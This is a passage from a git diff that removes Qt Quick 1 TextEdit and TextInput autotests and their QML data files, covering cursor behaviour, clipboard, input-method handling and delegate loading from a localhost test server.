textEditObject->cursorRectangle().height()); - textEditObject->setVAlign(QDeclarative1TextEdit::AlignVCenter); - QCOMPARE(textEditObject->cursorRectangle().x(), qRound(delegateObject->x())); - QCOMPARE(textEditObject->cursorRectangle().y(), qRound(delegateObject->y())); - QVERIFY(textEditObject->cursorRectangle().y() > (textEditObject->height() / 2) - textEditObject->cursorRectangle().height()); - QVERIFY(textEditObject->cursorRectangle().y() < (textEditObject->height() / 2) + textEditObject->cursorRectangle().height()); - textEditObject->setVAlign(QDeclarative1TextEdit::AlignBottom); - QCOMPARE(textEditObject->cursorRectangle().x(), qRound(delegateObject->x())); - QCOMPARE(textEditObject->cursorRectangle().y(), qRound(delegateObject->y())); - QVERIFY(textEditObject->cursorRectangle().y() > textEditObject->height() - (textEditObject->cursorRectangle().height() * 2)); - QVERIFY(textEditObject->cursorRectangle().y() < textEditObject->height()); - - //Test Delegate gets deleted - textEditObject->setCursorDelegate(0); - QVERIFY(!textEditObject->findChild("cursorInstance")); - - delete view; -} - -void tst_qdeclarativetextedit::cursorVisible() -{ - QGraphicsScene scene; - QGraphicsView view(&scene); - view.show(); - QApplication::setActiveWindow(&view); - QTest::qWaitForWindowShown(&view); - QTRY_COMPARE(QApplication::activeWindow(), static_cast(&view)); - view.setFocus(); - - QDeclarative1TextEdit edit; - QSignalSpy spy(&edit, SIGNAL(cursorVisibleChanged(bool))); - - QCOMPARE(edit.isCursorVisible(), false); - - edit.setCursorVisible(true); - QCOMPARE(edit.isCursorVisible(), true); - QCOMPARE(spy.count(), 1); - - edit.setCursorVisible(false); - QCOMPARE(edit.isCursorVisible(), false); - QCOMPARE(spy.count(), 2); - - edit.setFocus(true); - QCOMPARE(edit.isCursorVisible(), false); - QCOMPARE(spy.count(), 2); - - scene.addItem(&edit); - QCOMPARE(edit.isCursorVisible(), true); - QCOMPARE(spy.count(), 3); - - edit.setFocus(false); - QCOMPARE(edit.isCursorVisible(), false); - QCOMPARE(spy.count(), 4); - - edit.setFocus(true); - QCOMPARE(edit.isCursorVisible(), true); - QCOMPARE(spy.count(), 5); - - scene.clearFocus(); - QCOMPARE(edit.isCursorVisible(), false); - QCOMPARE(spy.count(), 6); - - scene.setFocus(); - QCOMPARE(edit.isCursorVisible(), true); - QCOMPARE(spy.count(), 7); - - view.clearFocus(); - QCOMPARE(edit.isCursorVisible(), false); - QCOMPARE(spy.count(), 8); - - view.setFocus(); - QCOMPARE(edit.isCursorVisible(), true); - QCOMPARE(spy.count(), 9); - - // on mac, setActiveWindow(0) on mac does not deactivate the current application - // (you have to switch to a different app or hide the current app to trigger this) -#if !defined(Q_WS_MAC) - QApplication::setActiveWindow(0); - QTRY_COMPARE(QApplication::activeWindow(), static_cast(0)); - QCOMPARE(edit.isCursorVisible(), false); - QCOMPARE(spy.count(), 10); - - QApplication::setActiveWindow(&view); - QTRY_COMPARE(QApplication::activeWindow(), static_cast(&view)); - QCOMPARE(edit.isCursorVisible(), true); - QCOMPARE(spy.count(), 11); -#endif -} - -void tst_qdeclarativetextedit::delegateLoading_data() -{ - QTest::addColumn("qmlfile"); - QTest::addColumn("error"); - - // import installed - QTest::newRow("pass") << "cursorHttpTestPass.qml" << ""; - QTest::newRow("fail1") << "cursorHttpTestFail1.qml" << "http://localhost:42332/FailItem.qml: Remote host closed the connection "; - QTest::newRow("fail2") << "cursorHttpTestFail2.qml" << "http://localhost:42332/ErrItem.qml:4:5: Fungus is not a type "; -} - -void tst_qdeclarativetextedit::delegateLoading() -{ - QFETCH(QString, qmlfile); - QFETCH(QString, error); - - TestHTTPServer server(42332); - server.serveDirectory(SRCDIR "/data/httpfail", TestHTTPServer::Disconnect); - server.serveDirectory(SRCDIR "/data/httpslow", TestHTTPServer::Delay); - server.serveDirectory(SRCDIR "/data/http"); - - QDeclarativeView* view = new QDeclarativeView(0); - - view->setSource(QUrl(QLatin1String("http://localhost:42332/") + qmlfile)); - view->show(); - view->setFocus(); - - if (!error.isEmpty()) { - QTest::ignoreMessage(QtWarningMsg, error.toUtf8()); - QTRY_VERIFY(view->status()==QDeclarativeView::Error); - QTRY_VERIFY(!view->rootObject()); // there is fail item inside this test - } else { - QTRY_VERIFY(view->rootObject());//Wait for loading to finish. - QDeclarative1TextEdit *textEditObject = view->rootObject()->findChild("textEditObject"); - // view->rootObject()->dumpObjectTree(); - QVERIFY(textEditObject != 0); - textEditObject->setFocus(true); - QDeclarativeItem *delegate; - delegate = view->rootObject()->findChild("delegateOkay"); - QVERIFY(delegate); - delegate = view->rootObject()->findChild("delegateSlow"); - QVERIFY(delegate); - - delete delegate; - } - - - //A test should be added here with a component which is ready but component.create() returns null - //Not sure how to accomplish this with QDeclarative1TextEdits cursor delegate - //###This was only needed for code coverage, and could be a case of overzealous defensive programming - //delegate = view->rootObject()->findChild("delegateErrorB"); - //QVERIFY(!delegate); - - delete view; -} - -/* -TextEdit element should only handle left/right keys until the cursor reaches -the extent of the text, then they should ignore the keys. -*/ -void tst_qdeclarativetextedit::navigation() -{ - QDeclarativeView *canvas = createView(SRCDIR "/data/navigation.qml"); - canvas->show(); - canvas->setFocus(); - - QVERIFY(canvas->rootObject() != 0); - - QDeclarativeItem *input = qobject_cast(qvariant_cast(canvas->rootObject()->property("myInput"))); - - QVERIFY(input != 0); - QTRY_VERIFY(input->hasActiveFocus() == true); - simulateKey(canvas, Qt::Key_Left); - QVERIFY(input->hasActiveFocus() == false); - simulateKey(canvas, Qt::Key_Right); - QVERIFY(input->hasActiveFocus() == true); - simulateKey(canvas, Qt::Key_Right); - QVERIFY(input->hasActiveFocus() == true); - simulateKey(canvas, Qt::Key_Right); - QVERIFY(input->hasActiveFocus() == false); - simulateKey(canvas, Qt::Key_Left); - QVERIFY(input->hasActiveFocus() == true); - - delete canvas; -} - -void tst_qdeclarativetextedit::copyAndPaste() { -#ifndef QT_NO_CLIPBOARD - -#ifdef Q_WS_MAC - { - PasteboardRef pasteboard; - OSStatus status = PasteboardCreate(0, &pasteboard); - if (status == noErr) - CFRelease(pasteboard); - else - QSKIP("This machine doesn't support the clipboard"); - } -#endif - - QString componentStr = "import QtQuick 1.0\nTextEdit { text: \"Hello world!\" }"; - QDeclarativeComponent textEditComponent(&engine); - textEditComponent.setData(componentStr.toLatin1(), QUrl()); - QDeclarative1TextEdit *textEdit = qobject_cast(textEditComponent.create()); - QVERIFY(textEdit != 0); - - // copy and paste - QCOMPARE(textEdit->text().length(), 12); - textEdit->select(0, textEdit->text().length());; - textEdit->copy(); - QCOMPARE(textEdit->selectedText(), QString("Hello world!")); - QCOMPARE(textEdit->selectedText().length(), 12); - textEdit->setCursorPosition(0); - QVERIFY(textEdit->canPaste()); - textEdit->paste(); - QCOMPARE(textEdit->text(), QString("Hello world!Hello world!")); - QCOMPARE(textEdit->text().length(), 24); - - // canPaste - QVERIFY(textEdit->canPaste()); - textEdit->setReadOnly(true); - QVERIFY(!textEdit->canPaste()); - textEdit->setReadOnly(false); - QVERIFY(textEdit->canPaste()); - - // QTBUG-12339 - // test that document and internal text attribute are in sync - QDeclarativeItemPrivate* pri = QDeclarativeItemPrivate::get(textEdit); - QDeclarative1TextEditPrivate *editPrivate = static_cast(pri); - QCOMPARE(textEdit->text(), editPrivate->text); - - // select word - textEdit->setCursorPosition(0); - textEdit->selectWord(); - QCOMPARE(textEdit->selectedText(), QString("Hello")); - - // select all and cut - textEdit->selectAll(); - textEdit->cut(); - QCOMPARE(textEdit->text().length(), 0); - textEdit->paste(); - QCOMPARE(textEdit->text(), QString("Hello world!Hello world!")); - QCOMPARE(textEdit->text().length(), 24); -#endif -} - -void tst_qdeclarativetextedit::canPaste() { -#ifndef QT_NO_CLIPBOARD - - QApplication::clipboard()->setText("Some text"); - - QString componentStr = "import QtQuick 1.0\nTextEdit { text: \"Hello world!\" }"; - QDeclarativeComponent textEditComponent(&engine); - textEditComponent.setData(componentStr.toLatin1(), QUrl()); - QDeclarative1TextEdit *textEdit = qobject_cast(textEditComponent.create()); - QVERIFY(textEdit != 0); - - // check initial value - QTBUG-17765 - QWidgetTextControl tc; - QCOMPARE(textEdit->canPaste(), tc.canPaste()); - -#endif -} - -void tst_qdeclarativetextedit::canPasteEmpty() { -#ifndef QT_NO_CLIPBOARD - - QApplication::clipboard()->clear(); - - QString componentStr = "import QtQuick 1.0\nTextEdit { text: \"Hello world!\" }"; - QDeclarativeComponent textEditComponent(&engine); - textEditComponent.setData(componentStr.toLatin1(), QUrl()); - QDeclarative1TextEdit *textEdit = qobject_cast(textEditComponent.create()); - QVERIFY(textEdit != 0); - - // check initial value - QTBUG-17765 - QWidgetTextControl tc; - QCOMPARE(textEdit->canPaste(), tc.canPaste()); - -#endif -} - -void tst_qdeclarativetextedit::readOnly() -{ - QDeclarativeView *canvas = createView(SRCDIR "/data/readOnly.qml"); - canvas->show(); - canvas->setFocus(); - - QVERIFY(canvas->rootObject() != 0); - - QDeclarative1TextEdit *edit = qobject_cast(qvariant_cast(canvas->rootObject()->property("myInput"))); - - QVERIFY(edit != 0); - QTRY_VERIFY(edit->hasActiveFocus() == true); - QVERIFY(edit->isReadOnly() == true); - QString initial = edit->text(); - for(int k=Qt::Key_0; k<=Qt::Key_Z; k++) - simulateKey(canvas, k); - simulateKey(canvas, Qt::Key_Return); - simulateKey(canvas, Qt::Key_Space); - simulateKey(canvas, Qt::Key_Escape); - QCOMPARE(edit->text(), initial); - - delete canvas; -} - -void tst_qdeclarativetextedit::simulateKey(QDeclarativeView *view, int key, Qt::KeyboardModifiers modifiers) -{ - QKeyEvent press(QKeyEvent::KeyPress, key, modifiers); - QKeyEvent release(QKeyEvent::KeyRelease, key, modifiers); - - QApplication::sendEvent(view, &press); - QApplication::sendEvent(view, &release); -} - -QDeclarativeView *tst_qdeclarativetextedit::createView(const QString &filename) -{ - QDeclarativeView *canvas = new QDeclarativeView(0); - - canvas->setSource(QUrl::fromLocalFile(filename)); - return canvas; -} - -void tst_qdeclarativetextedit::textInput() -{ - QGraphicsScene scene; - QGraphicsView view(&scene); - QDeclarative1TextEdit edit; - QDeclarativeItemPrivate* pri = QDeclarativeItemPrivate::get(&edit); - QDeclarative1TextEditPrivate *editPrivate = static_cast(pri); - edit.setPos(0, 0); - scene.addItem(&edit); - view.show(); - QApplication::setActiveWindow(&view); - QTest::qWaitForWindowShown(&view); - QTRY_COMPARE(QApplication::activeWindow(), static_cast(&view)); - edit.setFocus(true); - QVERIFY(edit.hasActiveFocus() == true); - - // test that input method event is committed - QInputMethodEvent event; - event.setCommitString( "Hello world!", 0, 0); - QApplication::sendEvent(&view, &event); - QCOMPARE(edit.text(), QString("Hello world!")); - - // QTBUG-12339 - // test that document and internal text attribute are in sync - QCOMPARE(editPrivate->text, QString("Hello world!")); -} - -void tst_qdeclarativetextedit::openInputPanelOnClick() -{ - PlatformInputContext ic; - QInputPanelPrivate *inputPanelPrivate = QInputPanelPrivate::get(qApp->inputPanel()); - inputPanelPrivate->testContext = ⁣ - - QGraphicsScene scene; - QGraphicsView view(&scene); - QDeclarative1TextEdit edit; - QSignalSpy focusOnPressSpy(&edit, SIGNAL(activeFocusOnPressChanged(bool))); - edit.setText("Hello world"); - edit.setPos(0, 0); - scene.addItem(&edit); - view.show(); - qApp->setAutoSipEnabled(true); - QApplication::setActiveWindow(&view); - QTest::qWaitForWindowShown(&view); - QTRY_COMPARE(QApplication::activeWindow(), static_cast(&view)); - - QDeclarativeItemPrivate* pri = QDeclarativeItemPrivate::get(&edit); - QDeclarative1TextEditPrivate *editPrivate = static_cast(pri); - - // input panel on click - editPrivate->showInputPanelOnFocus = false; - - QStyle::RequestSoftwareInputPanel behavior = QStyle::RequestSoftwareInputPanel( - view.style()->styleHint(QStyle::SH_RequestSoftwareInputPanel)); - QTest::mouseClick(view.viewport(), Qt::LeftButton, 0, view.mapFromScene(edit.scenePos())); - QApplication::processEvents(); - if (behavior == QStyle::RSIP_OnMouseClickAndAlreadyFocused) { - QCOMPARE(ic.isInputPanelVisible(), false); - QTest::mouseClick(view.viewport(), Qt::LeftButton, 0, view.mapFromScene(edit.scenePos())); - QApplication::processEvents(); - QCOMPARE(ic.isInputPanelVisible(), true); - } else if (behavior == QStyle::RSIP_OnMouseClick) { - QCOMPARE(ic.isInputPanelVisible(), true); - } - ic.clear(); - - // focus should not cause input panels to open or close - edit.setFocus(false); - edit.setFocus(true); - edit.setFocus(false); - edit.setFocus(true); - edit.setFocus(false); - QApplication::processEvents(); - QCOMPARE(ic.m_showInputPanelCallCount, 0); - QCOMPARE(ic.m_hideInputPanelCallCount, 0); -} - -void tst_qdeclarativetextedit::openInputPanelOnFocus() -{ - PlatformInputContext ic; - QInputPanelPrivate *inputPanelPrivate = QInputPanelPrivate::get(qApp->inputPanel()); - inputPanelPrivate->testContext = ⁣ - - QGraphicsScene scene; - QGraphicsView view(&scene); - QDeclarative1TextEdit edit; - QSignalSpy focusOnPressSpy(&edit, SIGNAL(activeFocusOnPressChanged(bool))); - edit.setText("Hello world"); - edit.setPos(0, 0); - scene.addItem(&edit); - view.show(); - qApp->setAutoSipEnabled(true); - QApplication::setActiveWindow(&view); - QTest::qWaitForWindowShown(&view); - QTRY_COMPARE(QApplication::activeWindow(), static_cast(&view)); - - QDeclarativeItemPrivate* pri = QDeclarativeItemPrivate::get(&edit); - QDeclarative1TextEditPrivate *editPrivate = static_cast(pri); - editPrivate->showInputPanelOnFocus = true; - - // test default values - QVERIFY(edit.focusOnPress()); - QCOMPARE(ic.m_showInputPanelCallCount, 0); - QCOMPARE(ic.m_hideInputPanelCallCount, 0); - - // focus on press, input panel on focus - QTest::mousePress(view.viewport(), Qt::LeftButton, 0, view.mapFromScene(edit.scenePos())); - QApplication::processEvents(); - QVERIFY(edit.hasActiveFocus()); - QCOMPARE(ic.isInputPanelVisible(), true); - ic.clear(); - - // no events on release - QTest::mouseRelease(view.viewport(), Qt::LeftButton, 0, view.mapFromScene(edit.scenePos())); - QCOMPARE(ic.isInputPanelVisible(), false); - ic.clear(); - - // if already focused, input panel can be opened on press - QVERIFY(edit.hasActiveFocus()); - QTest::mousePress(view.viewport(), Qt::LeftButton, 0, view.mapFromScene(edit.scenePos())); - QApplication::processEvents(); - QCOMPARE(ic.isInputPanelVisible(), true); - ic.clear(); - - // input method should stay enabled if focus - // is lost to an item that also accepts inputs - QDeclarative1TextEdit anotherEdit; - scene.addItem(&anotherEdit); - anotherEdit.setFocus(true); - QApplication::processEvents(); - QCOMPARE(ic.isInputPanelVisible(), true); - ic.clear(); - QVERIFY(view.testAttribute(Qt::WA_InputMethodEnabled)); - - // input method should be disabled if focus - // is lost to an item that doesn't accept inputs - QDeclarativeItem item; - scene.addItem(&item); - item.setFocus(true); - QApplication::processEvents(); - QCOMPARE(ic.isInputPanelVisible(), false); - QVERIFY(!view.testAttribute(Qt::WA_InputMethodEnabled)); - - // no automatic input panel events should - // be sent if activeFocusOnPress is false - edit.setFocusOnPress(false); - QCOMPARE(focusOnPressSpy.count(),1); - edit.setFocusOnPress(false); - QCOMPARE(focusOnPressSpy.count(),1); - edit.setFocus(false); - edit.setFocus(true); - QTest::mousePress(view.viewport(), Qt::LeftButton, 0, view.mapFromScene(edit.scenePos())); - QTest::mouseRelease(view.viewport(), Qt::LeftButton, 0, view.mapFromScene(edit.scenePos())); - QApplication::processEvents(); - QCOMPARE(ic.m_showInputPanelCallCount, 0); - QCOMPARE(ic.m_hideInputPanelCallCount, 0); - - // one show input panel event should - // be set when openSoftwareInputPanel is called - edit.openSoftwareInputPanel(); - QCOMPARE(ic.isInputPanelVisible(), true); - QCOMPARE(ic.m_hideInputPanelCallCount, 0); - ic.clear(); - - // one close input panel event should - // be sent when closeSoftwareInputPanel is called - edit.closeSoftwareInputPanel(); - QCOMPARE(ic.m_showInputPanelCallCount, 0); - QVERIFY(ic.m_hideInputPanelCallCount > 0); - ic.clear(); - - // set activeFocusOnPress back to true - edit.setFocusOnPress(true); - QCOMPARE(focusOnPressSpy.count(),2); - edit.setFocusOnPress(true); - QCOMPARE(focusOnPressSpy.count(),2); - edit.setFocus(false); - QApplication::processEvents(); - QCOMPARE(ic.m_showInputPanelCallCount, 0); - QCOMPARE(ic.m_hideInputPanelCallCount, 0); - ic.clear(); - - // input panel should not re-open - // if focus has already been set - edit.setFocus(true); - QCOMPARE(ic.isInputPanelVisible(), true); - ic.clear(); - edit.setFocus(true); - QCOMPARE(ic.isInputPanelVisible(), false); - - // input method should be disabled - // if TextEdit loses focus - edit.setFocus(false); - QApplication::processEvents(); - QVERIFY(!view.testAttribute(Qt::WA_InputMethodEnabled)); - - // input method should not be enabled - // if TextEdit is read only. - edit.setReadOnly(true); - ic.clear(); - edit.setFocus(true); - QApplication::processEvents(); - QCOMPARE(ic.isInputPanelVisible(), false); - QVERIFY(!view.testAttribute(Qt::WA_InputMethodEnabled)); -} - -void tst_qdeclarativetextedit::geometrySignals() -{ - QDeclarativeComponent component(&engine, SRCDIR "/data/geometrySignals.qml"); - QObject *o = component.create(); - QVERIFY(o); - QCOMPARE(o->property("bindingWidth").toInt(), 400); - QCOMPARE(o->property("bindingHeight").toInt(), 500); - delete o; -} - -void tst_qdeclarativetextedit::pastingRichText_QTBUG_14003() -{ -#ifndef QT_NO_CLIPBOARD - QString componentStr = "import QtQuick 1.0\nTextEdit { textFormat: TextEdit.PlainText }"; - QDeclarativeComponent component(&engine); - component.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1TextEdit *obj = qobject_cast(component.create()); - - QTRY_VERIFY(obj != 0); - QTRY_VERIFY(obj->textFormat() == QDeclarative1TextEdit::PlainText); - - QMimeData *mData = new QMimeData; - mData->setHtml("Hello"); - QApplication::clipboard()->setMimeData(mData); - - obj->paste(); - QTRY_VERIFY(obj->text() == ""); - QTRY_VERIFY(obj->textFormat() == QDeclarative1TextEdit::PlainText); -#endif -} - -void tst_qdeclarativetextedit::implicitSize_data() -{ - QTest::addColumn("text"); - QTest::addColumn("wrap"); - QTest::newRow("plain") << "The quick red fox jumped over the lazy brown dog" << "TextEdit.NoWrap"; - QTest::newRow("richtext") << "The quick red fox jumped over the lazy brown dog" << "TextEdit.NoWrap"; - QTest::newRow("plain_wrap") << "The quick red fox jumped over the lazy brown dog" << "TextEdit.Wrap"; - QTest::newRow("richtext_wrap") << "The quick red fox jumped over the lazy brown dog" << "TextEdit.Wrap"; -} - -void tst_qdeclarativetextedit::implicitSize() -{ - QFETCH(QString, text); - QFETCH(QString, wrap); - QString componentStr = "import QtQuick 1.1\nTextEdit { text: \"" + text + "\"; width: 50; wrapMode: " + wrap + " }"; - QDeclarativeComponent textComponent(&engine); - textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1TextEdit *textObject = qobject_cast(textComponent.create()); - - QVERIFY(textObject->width() < textObject->implicitWidth()); - QVERIFY(textObject->height() == textObject->implicitHeight()); - - textObject->resetWidth(); - QVERIFY(textObject->width() == textObject->implicitWidth()); - QVERIFY(textObject->height() == textObject->implicitHeight()); -} - -void tst_qdeclarativetextedit::testQtQuick11Attributes() -{ - QFETCH(QString, code); - QFETCH(QString, warning); - QFETCH(QString, error); - - QDeclarativeEngine engine; - QObject *obj; - - QDeclarativeComponent valid(&engine); - valid.setData("import QtQuick 1.1; TextEdit { " + code.toUtf8() + " }", QUrl("")); - obj = valid.create(); - QVERIFY(obj); - QVERIFY(valid.errorString().isEmpty()); - delete obj; - - QDeclarativeComponent invalid(&engine); - invalid.setData("import QtQuick 1.0; TextEdit { " + code.toUtf8() + " }", QUrl("")); - QTest::ignoreMessage(QtWarningMsg, warning.toUtf8()); - obj = invalid.create(); - QCOMPARE(invalid.errorString(), error); - delete obj; -} - -void tst_qdeclarativetextedit::testQtQuick11Attributes_data() -{ - QTest::addColumn("code"); - QTest::addColumn("warning"); - QTest::addColumn("error"); - - QTest::newRow("canPaste") << "property bool foo: canPaste" - << ":1: ReferenceError: Can't find variable: canPaste" - << ""; - - QTest::newRow("lineCount") << "property int foo: lineCount" - << ":1: ReferenceError: Can't find variable: lineCount" - << ""; - - QTest::newRow("moveCursorSelection") << "Component.onCompleted: moveCursorSelection(0, TextEdit.SelectCharacters)" - << ":1: ReferenceError: Can't find variable: moveCursorSelection" - << ""; - - QTest::newRow("deselect") << "Component.onCompleted: deselect()" - << ":1: ReferenceError: Can't find variable: deselect" - << ""; - - QTest::newRow("onLinkActivated") << "onLinkActivated: {}" - << "QDeclarativeComponent: Component is not ready" - << ":1 \"TextEdit.onLinkActivated\" is not available in QtQuick 1.0.\n"; -} - -void tst_qdeclarativetextedit::preeditMicroFocus() -{ - QString preeditText = "super"; - PlatformInputContext ic; - QInputPanelPrivate *inputPanelPrivate = QInputPanelPrivate::get(qApp->inputPanel()); - inputPanelPrivate->testContext = ⁣ - - QGraphicsScene scene; - QGraphicsView view(&scene); - QDeclarative1TextEdit edit; - edit.setFocus(true); - scene.addItem(&edit); - view.show(); - QApplication::setActiveWindow(&view); - QTest::qWaitForWindowShown(&view); - QTRY_COMPARE(QApplication::activeWindow(), static_cast(&view)); - - QSignalSpy cursorRectangleSpy(&edit, SIGNAL(cursorRectangleChanged())); - - QRect currentRect; - QRect previousRect = edit.inputMethodQuery(Qt::ImMicroFocus).toRect(); - - // Verify that the micro focus rect is positioned the same for position 0 as - // it would be if there was no preedit text. - ic.clear(); - sendPreeditText(preeditText, 0); - currentRect = edit.inputMethodQuery(Qt::ImMicroFocus).toRect(); - QCOMPARE(currentRect, previousRect); -#if defined(Q_WS_X11) || defined(Q_WS_QWS) - QCOMPARE(ic.updateCallCount, 0); // The cursor position hasn't changed. -#endif - QCOMPARE(cursorRectangleSpy.count(), 0); - - // Verify that the micro focus rect moves to the left as the cursor position - // is incremented. - for (int i = 1; i <= 5; ++i) { - ic.clear(); - sendPreeditText(preeditText, i); - currentRect = edit.inputMethodQuery(Qt::ImMicroFocus).toRect(); - QVERIFY(previousRect.left() < currentRect.left()); -#if defined(Q_WS_X11) || defined(Q_WS_QWS) - QVERIFY(ic.updateCallCount > 0); -#endif - QVERIFY(cursorRectangleSpy.count() > 0); - cursorRectangleSpy.clear(); - previousRect = currentRect; - } - - // Verify that if there is no preedit cursor then the micro focus rect is the - // same as it would be if it were positioned at the end of the preedit text. - sendPreeditText(preeditText, 0); - ic.clear(); - QInputMethodEvent imEvent(preeditText, QList()); - QApplication::sendEvent(qApp->focusObject(), &imEvent); - currentRect = edit.inputMethodQuery(Qt::ImMicroFocus).toRect(); - QCOMPARE(currentRect, previousRect); -#if defined(Q_WS_X11) || defined(Q_WS_QWS) - QVERIFY(ic.updateCallCount > 0); -#endif - QVERIFY(cursorRectangleSpy.count() > 0); -} - -void tst_qdeclarativetextedit::inputContextMouseHandler() -{ - QString text = "supercalifragisiticexpialidocious!"; - PlatformInputContext ic; - QInputPanelPrivate *inputPanelPrivate = QInputPanelPrivate::get(qApp->inputPanel()); - inputPanelPrivate->testContext = ⁣ - - QGraphicsScene scene; - QGraphicsView view(&scene); - QDeclarative1TextEdit edit; - edit.setPos(0, 0); - edit.setWidth(200); - edit.setText(text.mid(0, 12)); - edit.setPos(0, 0); - edit.setCursorPosition(12); - edit.setFocus(true); - scene.addItem(&edit); - view.show(); - QApplication::setActiveWindow(&view); - QTest::qWaitForWindowShown(&view); - QTRY_COMPARE(QApplication::activeWindow(), static_cast(&view)); - view.setFocus(); - - QFontMetricsF fm(edit.font()); - const qreal y = fm.height() / 2; - - QPoint position2 = view.mapFromScene(edit.mapToScene(QPointF(fm.width(text.mid(0, 2)), y))); - - QInputMethodEvent inputEvent(text.mid(0, 12), QList()); - QApplication::sendEvent(&view, &inputEvent); - - QTest::mousePress(view.viewport(), Qt::LeftButton, Qt::NoModifier, position2); - QTest::mouseRelease(view.viewport(), Qt::RightButton, Qt::ControlModifier, position2); - QApplication::processEvents(); - - QCOMPARE(ic.m_action, QInputPanel::Click); - QCOMPARE(ic.m_invokeActionCallCount, 1); - QCOMPARE(ic.m_cursorPosition, 2); -} - -void tst_qdeclarativetextedit::inputMethodComposing() -{ - QString text = "supercalifragisiticexpialidocious!"; - - QGraphicsScene scene; - QGraphicsView view(&scene); - QDeclarative1TextEdit edit; - edit.setWidth(200); - edit.setText(text.mid(0, 12)); - edit.setCursorPosition(12); - edit.setPos(0, 0); - edit.setFocus(true); - scene.addItem(&edit); - view.show(); - QApplication::setActiveWindow(&view); - QTest::qWaitForWindowShown(&view); - QTRY_COMPARE(QApplication::activeWindow(), static_cast(&view)); - - QSignalSpy spy(&edit, SIGNAL(inputMethodComposingChanged())); - - QCOMPARE(edit.isInputMethodComposing(), false); - { - QInputMethodEvent imEvent(text.mid(3), QList()); - QApplication::sendEvent(&view, &imEvent); - } - QCOMPARE(edit.isInputMethodComposing(), true); - QCOMPARE(spy.count(), 1); - - { - QInputMethodEvent imEvent(text.mid(12), QList()); - QApplication::sendEvent(&view, &imEvent); - } - QCOMPARE(edit.isInputMethodComposing(), true); - QCOMPARE(spy.count(), 1); - - { - QInputMethodEvent imEvent; - QApplication::sendEvent(&view, &imEvent); - } - QCOMPARE(edit.isInputMethodComposing(), false); - QCOMPARE(spy.count(), 2); -} - -void tst_qdeclarativetextedit::cursorRectangleSize() -{ - QDeclarativeView *canvas = createView(SRCDIR "/data/CursorRect.qml"); - QVERIFY(canvas->rootObject() != 0); - canvas->show(); - canvas->setFocus(); - QApplication::setActiveWindow(canvas); - QTest::qWaitForWindowShown(canvas); - - QDeclarative1TextEdit *textEdit = qobject_cast(canvas->rootObject()); - QVERIFY(textEdit != 0); - textEdit->setFocus(Qt::OtherFocusReason); - QRectF cursorRect = textEdit->positionToRectangle(textEdit->cursorPosition()); - QRectF microFocusFromScene = canvas->scene()->inputMethodQuery(Qt::ImMicroFocus).toRectF(); - QRectF microFocusFromApp= QApplication::focusWidget()->inputMethodQuery(Qt::ImMicroFocus).toRectF(); - - QCOMPARE(microFocusFromScene.size(), cursorRect.size()); - QCOMPARE(microFocusFromApp.size(), cursorRect.size()); -} -QTEST_MAIN(tst_qdeclarativetextedit) - -#include "tst_qdeclarativetextedit.moc" diff --git a/tests/auto/qtquick1/qdeclarativetextinput/data/cursorTest.qml b/tests/auto/qtquick1/qdeclarativetextinput/data/cursorTest.qml deleted file mode 100644 index 73085c1749..0000000000 --- a/tests/auto/qtquick1/qdeclarativetextinput/data/cursorTest.qml +++ /dev/null @@ -1,8 +0,0 @@ -import QtQuick 1.0 - -Rectangle { width: 300; height: 300; color: "white" - TextInput { text: "Hello world!"; id: textInputObject; objectName: "textInputObject" - resources: [ Component { id:cursor; Item { id:cursorInstance; objectName: "cursorInstance";} } ] - cursorDelegate: cursor - } -} diff --git a/tests/auto/qtquick1/qdeclarativetextinput/data/echoMode.qml b/tests/auto/qtquick1/qdeclarativetextinput/data/echoMode.qml deleted file mode 100644 index 0320872b86..0000000000 --- a/tests/auto/qtquick1/qdeclarativetextinput/data/echoMode.qml +++ /dev/null @@ -1,11 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - property QtObject myInput: input - - width: 400; height: 200; color: "green" - - TextInput { id: input; focus: true - text: "ABCDefgh" - } -} diff --git a/tests/auto/qtquick1/qdeclarativetextinput/data/geometrySignals.qml b/tests/auto/qtquick1/qdeclarativetextinput/data/geometrySignals.qml deleted file mode 100644 index 353d0e2f77..0000000000 --- a/tests/auto/qtquick1/qdeclarativetextinput/data/geometrySignals.qml +++ /dev/null @@ -1,12 +0,0 @@ -import QtQuick 1.0 - -Item { - width: 400; height: 500; - property int bindingWidth: text.width - property int bindingHeight: text.height - - TextEdit { - id: text - anchors.fill: parent - } -} diff --git a/tests/auto/qtquick1/qdeclarativetextinput/data/halign_center.png b/tests/auto/qtquick1/qdeclarativetextinput/data/halign_center.png deleted file mode 100644 index 53e09a8e5b..0000000000 Binary files a/tests/auto/qtquick1/qdeclarativetextinput/data/halign_center.png and /dev/null differ diff --git a/tests/auto/qtquick1/qdeclarativetextinput/data/halign_left.png b/tests/auto/qtquick1/qdeclarativetextinput/data/halign_left.png deleted file mode 100644 index 247acbc9df..0000000000 Binary files a/tests/auto/qtquick1/qdeclarativetextinput/data/halign_left.png and /dev/null differ diff --git a/tests/auto/qtquick1/qdeclarativetextinput/data/halign_right.png b/tests/auto/qtquick1/qdeclarativetextinput/data/halign_right.png deleted file mode 100644 index 691bc75c89..0000000000 Binary files a/tests/auto/qtquick1/qdeclarativetextinput/data/halign_right.png and /dev/null differ diff --git a/tests/auto/qtquick1/qdeclarativetextinput/data/horizontalAlignment.qml b/tests/auto/qtquick1/qdeclarativetextinput/data/horizontalAlignment.qml deleted file mode 100644 index 3114c48209..0000000000 --- a/tests/auto/qtquick1/qdeclarativetextinput/data/horizontalAlignment.qml +++ /dev/null @@ -1,22 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - id: top - width: 70; height: 70; - - property alias horizontalAlignment: text.horizontalAlignment - property string text: "Test" - - Rectangle { - anchors.centerIn: parent - width: 60 - height: 20 - color: "green" - - TextInput { - id: text - anchors.fill: parent - text: top.text - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativetextinput/data/horizontalAlignment_RightToLeft.qml b/tests/auto/qtquick1/qdeclarativetextinput/data/horizontalAlignment_RightToLeft.qml deleted file mode 100644 index 7f27bbe5cb..0000000000 --- a/tests/auto/qtquick1/qdeclarativetextinput/data/horizontalAlignment_RightToLeft.qml +++ /dev/null @@ -1,24 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - id: top - width: 200; height: 70; - - property alias horizontalAlignment: text.horizontalAlignment - property string text: "اختبا" - - Rectangle { - anchors.centerIn: parent - width: 180 - height: 20 - color: "green" - - TextInput { - id: text - objectName: "text" - anchors.fill: parent - text: top.text - focus: true - } - } -} diff --git 